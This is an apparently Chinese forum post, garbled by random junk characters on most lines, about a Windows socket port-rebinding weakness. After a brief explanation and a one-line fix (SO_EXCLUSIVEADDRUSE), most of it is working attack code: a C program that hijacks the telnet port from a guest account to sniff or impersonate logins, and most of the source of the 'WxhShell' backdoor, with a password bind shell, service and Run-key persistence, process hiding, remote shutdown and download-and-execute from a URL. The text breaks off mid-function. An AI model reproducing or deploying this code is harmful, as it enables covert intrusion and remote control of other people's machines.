在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
XCI s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?6_]^:s h ;uzbu saddr.sin_family = AF_INET;
i431mpMa T:Cq}4k< saddr.sin_addr.s_addr = htonl(INADDR_ANY);
&oG>Rqkm Qf_N,Bq{a bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
X`g<"Ka (1CP]5W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4XAB_Q j55_wx@cA 这意味着什么?意味着可以进行如下的攻击:
C|]c#X2t3 VrW]|jIu* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
]|3hK/ F$8:9eL,T 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
iM8Cw/DS V=ll 9M 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
9y7hJib q_[y|ETJ] 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
]+e
zg(C} #K^hKx9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
3f5YPf2u .f$2-5q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Uc!k)o#= 3N > V
sl 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
W"%n5) ]2-Qj)mZ] #include
{mU%.5 #include
0gqV>: #include
sO) H#G #include
a?W5~?\9 DWORD WINAPI ClientThread(LPVOID lpParam);
eztK`_n int main()
+^9^)Ur| {
: ?f+* WORD wVersionRequested;
QP(d77n DWORD ret;
L!JC)p. WSADATA wsaData;
c%5P|R~g]p BOOL val;
f_ MK4 SOCKADDR_IN saddr;
q# j[0,^ $ SOCKADDR_IN scaddr;
-9LvAV> int err;
/5E0'y,|P SOCKET s;
>4ex5 SOCKET sc;
<Ch9"1f3, int caddsize;
{EZR}N HANDLE mt;
+\+j/sa DWORD tid;
6OE
xAn8 wVersionRequested = MAKEWORD( 2, 2 );
CY?J$sN err = WSAStartup( wVersionRequested, &wsaData );
EC\@$Fg if ( err != 0 ) {
D<v<
: printf("error!WSAStartup failed!\n");
:'r*
5EX return -1;
k:n{AoUc
}
/[ m7~B]QE saddr.sin_family = AF_INET;
5%D`y| J-+mdA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Dh^l:q+c 7y^)n<'co saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
npeL1zO-$ saddr.sin_port = htons(23);
O$z"`'&j# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
d %}?%VH {
qdQ4%,E[ printf("error!socket failed!\n");
$l)RMP} return -1;
[DpOI }
C+\z$/q val = TRUE;
MY{Kq;FvRP //SO_REUSEADDR选项就是可以实现端口重绑定的
->qRGUW if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
JRBz/ j {
Hva!6vwO%O printf("error!setsockopt failed!\n");
JAHmmNlW return -1;
k|x mZA* }
y:\<FLR}j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
T}\>8EEG //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!l dE9 . //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~98q1HgS]D :&5u) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
BUZ74 {
zecM|S _ ret=GetLastError();
YQ+8lANC printf("error!bind failed!\n");
V@+sNM return -1;
jA8Bmwt;w }
MZVbOcSAd listen(s,2);
bBINjs8C_ while(1)
}vZfp5Y {
Kez0Bka caddsize = sizeof(scaddr);
fV9+FOZn //接受连接请求
2KXFXR sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&2:WezDF if(sc!=INVALID_SOCKET)
w*'DlP<7 {
gD%o0jt" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
.z
CkB86 if(mt==NULL)
^Zs^ {
=l2 @'Y Q printf("Thread Creat Failed!\n");
dw#pObH|` break;
{B=64,D^7R }
YeJTB} }
`!N.1RP _ CloseHandle(mt);
,PpVZq~ }
Y<^Or closesocket(s);
n{|j#j WSACleanup();
yo5-x"ze return 0;
VB^1wm }
4Tuh]5 DWORD WINAPI ClientThread(LPVOID lpParam)
rG-x 3>b {
bPV}T` SOCKET ss = (SOCKET)lpParam;
a@|`!<5 SOCKET sc;
tZ) ,Z< unsigned char buf[4096];
UptKN|S&V SOCKADDR_IN saddr;
x15&U\U long num;
eOVln1a DWORD val;
c&#Q`m DWORD ret;
;U0w<>4L //如果是隐藏端口应用的话,可以在此处加一些判断
J}Z\I Y, //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0XE6Hw saddr.sin_family = AF_INET;
JWu0VLo saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Fbotn(\h@ saddr.sin_port = htons(23);
%N\45nYU: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_ y'g11 \
{
;|= 5)KE printf("error!socket failed!\n");
5:+x7Ed return -1;
"kt7m }
&iuMB0rbu val = 100;
Yk{4 3yw if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c ~M'O26bW {
r"L:Mu ret = GetLastError();
ER`;0#3[9u return -1;
H(?+-72KX }
(eT9N_W if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5!i\S[: {
&6GW9pl[ ret = GetLastError();
4D.h~X4 return -1;
U2Siw }
ZdhA:}~^E if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
)fuAdG {
4,`t9f^: printf("error!socket connect failed!\n");
ZDK+>^A) closesocket(sc);
A;xH{vo{ closesocket(ss);
sz7<u| return -1;
{Y+e|B0 }
4\U"e* while(1)
}P!:0w3 {
?S)Pv53>} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
4fL>Ou[YuX //如果是嗅探内容的话,可以再此处进行内容分析和记录
w$qdV,s 7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;Uypv|xX num = recv(ss,buf,4096,0);
NljcHe}Qy if(num>0)
!{r@ H+Kf send(sc,buf,num,0);
'cN3Vv k else if(num==0)
9$sx+=( break;
[2!?pVI num = recv(sc,buf,4096,0);
{- &wV if(num>0)
Np
opg1Gv> send(ss,buf,num,0);
IjPtJwW`A else if(num==0)
QF.M%she+ break;
q\s>Oe6$ }
1N.weey}W closesocket(ss);
27JZwlzZ closesocket(sc);
i:R_g] return 0 ;
i1qmFvksl }
utdus:B#0 0d,&) ,PWMl[X ==========================================================
0VgsV; )P W Zc?M 下边附上一个代码,,WXhSHELL
|'k7 ;UW jjoyMg95 ==========================================================
]D>\Z(b x50ZwV&j #include "stdafx.h"
78'3&,+si @oRo6Y<- #include <stdio.h>
f2P2wt.$ #include <string.h>
n~yhX%=_Du #include <windows.h>
Gd2t^tc #include <winsock2.h>
b9l%5a #include <winsvc.h>
8(@(G_skp #include <urlmon.h>
=6,w~|W %&$s0=+ #pragma comment (lib, "Ws2_32.lib")
p^QppM94 #pragma comment (lib, "urlmon.lib")
:N=S nyz I!p[:.t7 #define MAX_USER 100 // 最大客户端连接数
U7xQ 5lph #define BUF_SOCK 200 // sock buffer
3r2e_?m #define KEY_BUFF 255 // 输入 buffer
F`f8q\Fc ;`Wh^Qgi #define REBOOT 0 // 重启
}@A{'q5y #define SHUTDOWN 1 // 关机
>@|XY< sc# q03 #define DEF_PORT 5000 // 监听端口
|/RZGC4 /pgn?e'lk #define REG_LEN 16 // 注册表键长度
yMe; #define SVC_LEN 80 // NT服务名长度
?h-:,icR $2v{4WP7G // 从dll定义API
ftqeiZ
2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
fXx !_Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
qAVZ&:# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Z&Z=24q_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
w"FBJULzn9 FHyyZ{" // wxhshell配置信息
:W}M$5 | struct WSCFG {
HqKD]1 int ws_port; // 监听端口
tc<HA7vpt~ char ws_passstr[REG_LEN]; // 口令
,6T3:qkkvF int ws_autoins; // 安装标记, 1=yes 0=no
ET=-r char ws_regname[REG_LEN]; // 注册表键名
{r[g.@ char ws_svcname[REG_LEN]; // 服务名
X_J(P? char ws_svcdisp[SVC_LEN]; // 服务显示名
$-BM`Zt0; char ws_svcdesc[SVC_LEN]; // 服务描述信息
X=X char ws_passmsg[SVC_LEN]; // 密码输入提示信息
dj:6c@n int ws_downexe; // 下载执行标记, 1=yes 0=no
,a@jg&Mb] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
T oK'Pd char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.^FdO$" oAq<ag\qV };
=8 Jq'-da a.G;s2> // default Wxhshell configuration
OYk/K70l3 struct WSCFG wscfg={DEF_PORT,
iriF'(1 "xuhuanlingzhe",
/c52w"WW 1,
4wx_@8 "Wxhshell",
e_t""h4D
"Wxhshell",
af;~<oa "WxhShell Service",
i{nFk',xX "Wrsky Windows CmdShell Service",
Xp_G9I,+ "Please Input Your Password: ",
p V`) 1,
%b3s|o3An "
http://www.wrsky.com/wxhshell.exe",
JQ"w{O "Wxhshell.exe"
L=-v>YL+ };
K Fn[ drf?7%v // 消息定义模块
Z/[ww8b. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~g|z7o char *msg_ws_prompt="\n\r? for help\n\r#>";
\~@a/J char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
&-M}:' char *msg_ws_ext="\n\rExit.";
UNKr
FYl char *msg_ws_end="\n\rQuit.";
/UPe@ char *msg_ws_boot="\n\rReboot...";
nG !6[^D char *msg_ws_poff="\n\rShutdown...";
}SBpc{ch char *msg_ws_down="\n\rSave to ";
^@n?& o"e]9{+< char *msg_ws_err="\n\rErr!";
x`gsD3C char *msg_ws_ok="\n\rOK!";
4^AdSuV Qj',&b char ExeFile[MAX_PATH];
zQyt 1&! int nUser = 0;
Pa\"l'!>^ HANDLE handles[MAX_USER];
.7M:AS> int OsIsNt;
u(g0Ob t73" d#+ SERVICE_STATUS serviceStatus;
=?gDM[t^ SERVICE_STATUS_HANDLE hServiceStatusHandle;
B|6_4ry0U QwgP+ M+ // 函数声明
3!0~/8!f@ int Install(void);
e?)ic\K int Uninstall(void);
vSG$2g= int DownloadFile(char *sURL, SOCKET wsh);
`\5u/i'Ca! int Boot(int flag);
?*2Uw{~} void HideProc(void);
6-h(305A int GetOsVer(void);
+{pS2I}d int Wxhshell(SOCKET wsl);
ya0D50m void TalkWithClient(void *cs);
1;N5@0%p int CmdShell(SOCKET sock);
E [b6k&A int StartFromService(void);
l5esx#([*R int StartWxhshell(LPSTR lpCmdLine);
iF'qaqHWY4 !1cVg
ls| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
tg'2v/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
`78)|a*R. U%E364;F // 数据结构和表定义
SK G!DKQ SERVICE_TABLE_ENTRY DispatchTable[] =
]pP: {
UKBaGX:v {wscfg.ws_svcname, NTServiceMain},
QO(P_az3mg {NULL, NULL}
!f!HVna };
>7I"_#x1: A/w7( // 自我安装
pLea 4 int Install(void)
wwD?i.3 {
P\2UIAPa\b char svExeFile[MAX_PATH];
$%BNoSK HKEY key;
hqVxvS" strcpy(svExeFile,ExeFile);
-Ay=*c.4 <maYS2 // 如果是win9x系统,修改注册表设为自启动
@fO[{V if(!OsIsNt) {
l.`f^K=8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
kcN#g-0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
v3/l=e?u RegCloseKey(key);
F>/"If# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
iW,fKXuo&y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p`2w\P3;) RegCloseKey(key);
uKE?VNC] return 0;
, UiA?7k }
#Z>EX?VS: }
B #zU'G*Y }
MiB}10 else {
~gJJ@j 0n "0]s|ys6< // 如果是NT以上系统,安装为系统服务
CFyu9Al SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
}10ZPaHjl+ if (schSCManager!=0)
0$A7"^] {
%RX}sS SC_HANDLE schService = CreateService
z)&ZoSXWc (
^7>k:|7-t schSCManager,
G~N$bF^R) wscfg.ws_svcname,
*N!>c&8 wscfg.ws_svcdisp,
N497"H</ SERVICE_ALL_ACCESS,
I`
+%ab SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|VxO ,[~ SERVICE_AUTO_START,
s%l`XW;v SERVICE_ERROR_NORMAL,
?KMGk]_< svExeFile,
1sN >U< NULL,
_q<Ke/ NULL,
moT*r?l NULL,
mO(A'p "b NULL,
^I]A@YNni NULL
eUeOyC );
N^;rLrm* if (schService!=0)
C6ry]R@ {
(f `zd. CloseServiceHandle(schService);
aq-R#q CloseServiceHandle(schSCManager);
,3~[cE<4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?|,-Bft3 strcat(svExeFile,wscfg.ws_svcname);
gOL-b9W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|QcE5UC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
.R5(k'g? RegCloseKey(key);
w_h}c$;GK return 0;
CPt62j8 }
1b4/ }
$zv&MD!&h CloseServiceHandle(schSCManager);
nTQ&nu! }
q@0g KC&U }
lPO+dm uEX+j return 1;
?&rt)/DV, }
M'-Z" V4>qR{5 // 自我卸载
Hu-Y[~9^L: int Uninstall(void)
LCouDk(=` {
>3&Oe HKEY key;
?@YABl S?K x:] if(!OsIsNt) {
%|\Af>o4d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|p\vH#6y+ RegDeleteValue(key,wscfg.ws_regname);
O\&-3#e RegCloseKey(key);
pf[m"t6G~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u-%|ZSg RegDeleteValue(key,wscfg.ws_regname);
!Un&OAy.! RegCloseKey(key);
rS&"UH?c7 return 0;
|(77ao3 }
dJ&f +
}
Ka+N5 T.f }
'%y5Dh else {
Q$lgC
v^M <7R+p;y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ayK?\srw if (schSCManager!=0)
9_ru*j\ {
!)-)*T SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
lNs;-`I~ if (schService!=0)
>pRC$'Usx {
fjP(r+[ if(DeleteService(schService)!=0) {
Y~"5HP| CloseServiceHandle(schService);
%(YU*Tf~ CloseServiceHandle(schSCManager);
c3]`W7E6L return 0;
yi&6HNb }
5R}K8"d CloseServiceHandle(schService);
m]D3ec\K' }
T;`2t; CloseServiceHandle(schSCManager);
G%FLt[ }
S\"#E:A }
]21`x c]]e( return 1;
r~q3nIe/, }
$LOwuvu> :pXY/Pa // 从指定url下载文件
KMll8X int DownloadFile(char *sURL, SOCKET wsh)
}|u>b!7_. {
vp|'Yy(9z HRESULT hr;
h#JX$9 char seps[]= "/";
up==g char *token;
PL|zm5923 char *file;
&@ [pJ2 char myURL[MAX_PATH];
nBkzNb{"AZ char myFILE[MAX_PATH];
LTlbrB tQWjNP~ strcpy(myURL,sURL);
tB{HH%cV token=strtok(myURL,seps);
=V>inH while(token!=NULL)
#w6ty<b; {
Hzc5BC file=token;
6tZ ak1=V token=strtok(NULL,seps);
64LAZEQX }
[~{'"-3L0 f[fH1cu&` GetCurrentDirectory(MAX_PATH,myFILE);
Kv~'*A)d strcat(myFILE, "\\");
Ls6C*<8 strcat(myFILE, file);
;>*Pwz`~jT send(wsh,myFILE,strlen(myFILE),0);
,Z$!:U send(wsh,"...",3,0);
U~I
y),5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Rv)*Wo!L if(hr==S_OK)
nI7v:h4 return 0;
A~M .v0 else
x^~@`]TV^ return 1;
F!7\Za, ?A]/
M~3B }
$w+()iI ?XllPnuKt% // 系统电源模块
M.3ULt8 int Boot(int flag)
JA2oy09G {
7KJ%-&L^ HANDLE hToken;
d.xT8l}sS TOKEN_PRIVILEGES tkp;
Y.
Uca<{.[ @p%WFNR0 if(OsIsNt) {
4Is Wp!`W OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\N[2-;[3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
T6nc/|Ot tkp.PrivilegeCount = 1;
AwtiV-w tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
`R
m<1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6Wk9"?+1 if(flag==REBOOT) {
Z9q1z~qSQ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
eZ8DW6 l*
return 0;
^TEFKx}PX }
szUJh9- else {
* -X`^R if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
LbUH`0:%t return 0;
p`)Mk<`dYD }
C8KV<k }
{HbSty else {
^;'FC vd if(flag==REBOOT) {
'OI(MuSn if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
UK5u"@T return 0;
aNUMF }
p}p}!M| else {
Vl/fkd,Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
3FG'A[x3O return 0;
hdDL92JVg }
)(+q~KA} }
y*e({fio_ sL],@z8<k return 1;
{RN-rF3w }
sB0m^Y' :"'*1S* // win9x进程隐藏模块
O`Y@U?^N void HideProc(void)
s0m k<>z {
/HVxZ2bar WDJ rN HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
/BwG\GhM if ( hKernel != NULL )
1h3`y {
0-:dzf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
%^l&:\ hy ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
R>hL.+l. FreeLibrary(hKernel);
k>F>y|m }
\3T[Cy|5| d>O/Zal return;
89UR w9 }
{~`{bnx^]7 >02p,W6S> // 获取操作系统版本
yp]z@SYA@ int GetOsVer(void)
J"K(nKXO_? {
U>0bgL OSVERSIONINFO winfo;
Y-+JDrK winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Z5eM GetVersionEx(&winfo);
DfX~}km if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
y#FFxSH> return 1;
%-<6Z9otc else
rP IAu[],g return 0;
afE8Kqa:H }
7LsVlT[ "dHo6CT,y_ // 客户端句柄模块
)cU$I) int Wxhshell(SOCKET wsl)
w\a6ga!xt" {
S59^$ SOCKET wsh;
tA^CuJR struct sockaddr_in client;
l[^0Ik-G DWORD myID;
N!./u(b hjz`0AS while(nUser<MAX_USER)
p\Fxt1Y@X {
3Xm>
3 int nSize=sizeof(client);
a5 pXn v]A wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
gOr%N!5 if(wsh==INVALID_SOCKET) return 1;
M7{_"9X{ 8On MtP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?8FJMFv;4% if(handles[nUser]==0)
fo~>y closesocket(wsh);
B:ugEAo_ else
N%9?8X[5 nUser++;
#'y&M t }
{a]u WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Bh7hF?c Sj ccT
<UIpq return 0;
wli H3vA_ }
/4;Sxx- ji<(}d~L* // 关闭 socket
:mhO/Bx void CloseIt(SOCKET wsh)
N]-skz<v {
>z73uKA( closesocket(wsh);
R&Ss ET. nUser--;
<{i1/"k?X ExitThread(0);
Js^(mRv= }
Zr(eH2}0D eQ*zi9na // 客户端请求句柄
gHFQs](G. void TalkWithClient(void *cs)
3R%yKa# {
a%/D~5Z M\RHFTB<C SOCKET wsh=(SOCKET)cs;
hFnUw26P char pwd[SVC_LEN];
)Myx(w"S char cmd[KEY_BUFF];
q2/kegAT char chr[1];
$,0EV9+af int i,j;
$xis4/2 E=91k. while (nUser < MAX_USER) {
\Nk578+AA sQ+s3x1y if(wscfg.ws_passstr) {
0"Zxbgu) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,y@WFRsx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Y@7n>U //ZeroMemory(pwd,KEY_BUFF);
q2s=>J'; i=0;
YF>15{H while(i<SVC_LEN) {
#kE8EhQZ Gd$!xN%O // 设置超时
/x<uv_" fd_set FdRead;
ihekON": struct timeval TimeOut;
7a=ul: FD_ZERO(&FdRead);
O:ACp<@ FD_SET(wsh,&FdRead);
=Y*@8=V TimeOut.tv_sec=8;
>M0^R}v TimeOut.tv_usec=0;
<[$a7l i int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
z#lIu if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
*=tA },`\7 y6Ez.$M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
LW#U+bv]Dq pwd
=chr[0]; FAX[|p
if(chr[0]==0xd || chr[0]==0xa) { }z,9!{~`
pwd=0; eZD"!AT
break; }2S)CL=
} {R"mvB`
i++; {`-AIlH(
} Hp5.F>-
-2'+GO7G
// 如果是非法用户,关闭 socket ?f6SKC
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nw(hN+_u
} !tb!%8{~
|oSqy
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g yegdky3
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ryqu2>(
qJ2Z5
while(1) { X_!km-{
h50]%tp\
ZeroMemory(cmd,KEY_BUFF); %V#MUi1
*IIA"tC
// 自动支持客户端 telnet标准 Uy*d@vU9c
j=0; A8-a}0Gh
while(j<KEY_BUFF) { N1$PW~)Y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !yr4B"kz
cmd[j]=chr[0]; f'*/IG
if(chr[0]==0xa || chr[0]==0xd) { (?TK P 7
cmd[j]=0; /F46Ac}I
break; <H{K&,Z(ZM
}
lnK
j++; 7{7Y[F0
} 9E Y`j,{4
rz&'wCiOO
// 下载文件 ;-BN~1Jg
if(strstr(cmd,"http://")) { \En"=)A
send(wsh,msg_ws_down,strlen(msg_ws_down),0); R_>.O?U4
if(DownloadFile(cmd,wsh)) u~>G8y)k9O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KP
6vb@(6
else O#p_rfQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9XKqsvdS
} Ep:hObWG)
else { Bs|Xq'1M!;
%yd(=%)fMB
switch(cmd[0]) { y4$$*oai&
Xfbr;Jt"<
// 帮助 B/o8r4[80
case '?': { C+"c^9[
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;$e)r3r`LV
break; mSvSdKKKlI
} KN"u PW
// 安装 \)6bLB!
case 'i': { wLb:FB2
if(Install()) 4jGN:*kZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t0r0{:
else +@yU `
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oI'& &Bt
break; Ab>Kf r#
} ]mz '(t
// 卸载 qkz|r?R)
case 'r': { [h !i{QD
if(Uninstall()) bfm+!9=9S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0pG +yec
else N%ccy?B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d R=0K
break; T>7N "C
} >Vg [A
// 显示 wxhshell 所在路径 fM|s,'Q1x
case 'p': { }q'IY:r
char svExeFile[MAX_PATH]; U OGjil{.
strcpy(svExeFile,"\n\r"); v*FbvrY
strcat(svExeFile,ExeFile); }0Uh<v@
send(wsh,svExeFile,strlen(svExeFile),0); /8nUecr
break; z>iXNwz"?
} 1P'A*`!K
// 重启 'Bxj(LaV-
case 'b': { 0
f$96sl
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G
9(*F
if(Boot(REBOOT)) JtsXMZz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l'@!'
else { B3D}'<
closesocket(wsh); BFhEDkk
ExitThread(0); nB5\ocJ
} 5S_fvW;
break; ]$ Nhy8-
} i*$~uuY
// 关机 =wW M\f`=
case 'd': { |=0w_)Fa]
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); </@5>hx/
if(Boot(SHUTDOWN)) '/t9#I@G\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hdcB*j?4
else { >HRNB&]LdP
closesocket(wsh); ')~V=F
ExitThread(0); t'0&n3
} w4CcdpR
break; *OdmKVw6G
} J\w4N",
// 获取shell pZlt4
case 's': { ]z8/S!?
CmdShell(wsh); Yw]$/oP`
closesocket(wsh); J~4mp\4b
ExitThread(0); rx 74v!
break; 'DNxc
} IVZUB*wv)b
// 退出 @$ Nti>
case 'x': { <66%(J>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TC44*BHq
CloseIt(wsh); B!;:,(S~
break; r_T"b
} r@]`#PL
// 离开 ,x!r^YO=
case 'q': { oXqJypR 2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y`{62J8oy
closesocket(wsh); ,c$tKj5ulQ
WSACleanup(); ujkWVE'
exit(1); _b>{:H&\
break; _-TW-{7bh
} Z2`M8xEiH
} *?~"Jw
} n7G`b'
s$qc&
// 提示信息 q
:~/2<o
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); je2"D7D
} K]Vp! G
} GnUD<P=I
[KHlApL
return; s]6;*mI2
} "crp/Bj?
OFmHj]I7=
// shell模块句柄 LAnC8O
int CmdShell(SOCKET sock) !OQ5AF$
{ 4)k-gKS*
STARTUPINFO si; a#i|)[
ZeroMemory(&si,sizeof(si)); + 9|0\Q
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 00f'G2n
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .5!`wwVi
PROCESS_INFORMATION ProcessInfo; ,7:-V<'Yv
char cmdline[]="cmd"; ]s^+/8d=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1 I.P7_/
return 0; ~Ey+
}
FXn98UF Y
"4Q_F3?_`
// 自身启动模式 UcD<vg"p
int StartFromService(void) Ayg^<)JWh
{ mDZA\P_
typedef struct q m_m8
{ )*XWe|H_
DWORD ExitStatus; ?PTXgIC
DWORD PebBaseAddress; ILl~f\xG)
DWORD AffinityMask; !l0"nPM=
DWORD BasePriority; .{ljhE:
